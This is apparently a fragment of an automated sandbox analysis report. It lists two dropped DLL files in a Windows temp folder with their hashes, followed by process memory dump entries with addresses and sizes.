\Users\Admin\AppData\Local\Temp\B9AD0412-C3E0-4551-AB42-032C760E1A2D\LogProvider.dllMD5
76dccc4bec94a870cb544ea0ac90d574
SHA10e500d42b98d340aadd3e886b0c4abefa8b92bc5
SHA25653637290e64e395a0f07d7423096ccf341ccdf1dcb6e821f4e99d47197ea849e
SHA512ef01adbf1dfb3856d5a84512556f38af291c0938c1267c8d627e1205385f7be56b0a7e2127f18818f987b53f0a3f910bc930d692be2a8429d03728d086e91a0b
-
\Users\Admin\AppData\Local\Temp\B9AD0412-C3E0-4551-AB42-032C760E1A2D\OSProvider.dllMD5
bb0d5feee5b2f65b28f517d48180ce7b
SHA163a3eee12a18bceec86ca94226171ffe13bd2fe3
SHA256f6c4fd17a47daf4a6d03fc92904d0f9a1e6c68aadf99c2d11202d4d73606dc16
SHA512d1fc630db506ad7174da9565fd658dc415f95bf9c2c47c21fa8fe41b0dbff9a585244a0b7079dfb31697f14edbc1c021fccff60ffd53b447c910c70de117dc5b
-
memory/812-230-0x0000000000000000-mapping.dmp
-
memory/1048-114-0x0000000000000000-mapping.dmp
-
memory/2112-192-0x000001A2069A0000-0x000001A2069A2000-memory.dmpFilesize
8KB
-
memory/2112-178-0x0000000000000000-mapping.dmp
-
memory/2112-229-0x000001A2069A8000-0x000001A2069A9000-memory.dmpFilesize
4KB
-
memory/2112-222-0x000001A2069A6000-0x000001A2069A8000-memory.dmpFilesize
8KB
-
memory/2112-193-0x000001A2069A3000-0x000001A2069A5000-memory.dmpFilesize
8KB
-
memory/2544-144-0x0000000000000000-mapping.dmp
-
memory/2836-146-0x0000000000000000-mapping.dmp
-
memory/2836-155-0x0000021A1AEC0000-0x0000021A1AEC2000-memory.dmpFilesize
8KB
-
memory/2836-157-0x0000021A1AEC3000-0x0000021A1AEC5000-memory.dmpFilesize
8KB
-
memory/2836-191-0x0000021A1AEC6000-0x0000021A1AEC8000-memory.dmpFilesize
8KB
-
memory/3712-126-0x000001BBE94B0000-0x000001BBE94B1000-memory.dmpFilesize
4KB
-
memory/3712-123-0x000001BBE8200000-0x000001BBE8201000-memory.dmpFilesize
4KB
-
memory/3712-134-0x000001BBE7FB3000-0x000001BBE7FB5000-memory.dmpFilesize
8KB
-
memory/3712-135-0x000001BBE7FB6000-0x000001BBE7FB8000-memory.dmpFilesize
8KB
-
memory/3712-133-0x000001BBE7FB0000-0x000001BBE7FB2000-memory.dmpFilesize
8KB
-
memory/3712-116-0x0000000000000000-mapping.dmp
-
memory/3776-175-0x0000000000000000-mapping.dmp
-
memory/4128-231-0x0000000000000000-mapping.dmp
-
memory/4416-290-0x0000000000000000-mapping.dmp
-
memory/4416-305-0x00000299E4A70000-0x00000299E4A72000-memory.dmpFilesize
8KB
-
memory/4416-306-0x00000299E4A73000-0x00000299E4A75000-memory.dmpFilesize
8KB
-
memory/4416-319-0x00000299E4A76000-0x00000299E4A78000-memory.dmpFilesize
8KB
-
memory/4784-326-0x0000000000000000-mapping.dmp
-
memory/4888-339-0x0000000000000000-mapping.dmp
-
memory/4888-351-0x0000027E277A3000-0x0000027E277A5000-memory.dmpFilesize
8KB
-
memory/4888-350-0x0000027E277A0000-0x0000027E277A2000-memory.dmpFilesize
8KB
-
memory/4888-385-0x0000027E277A6000-0x0000027E277A8000-memory.dmpFilesize
8KB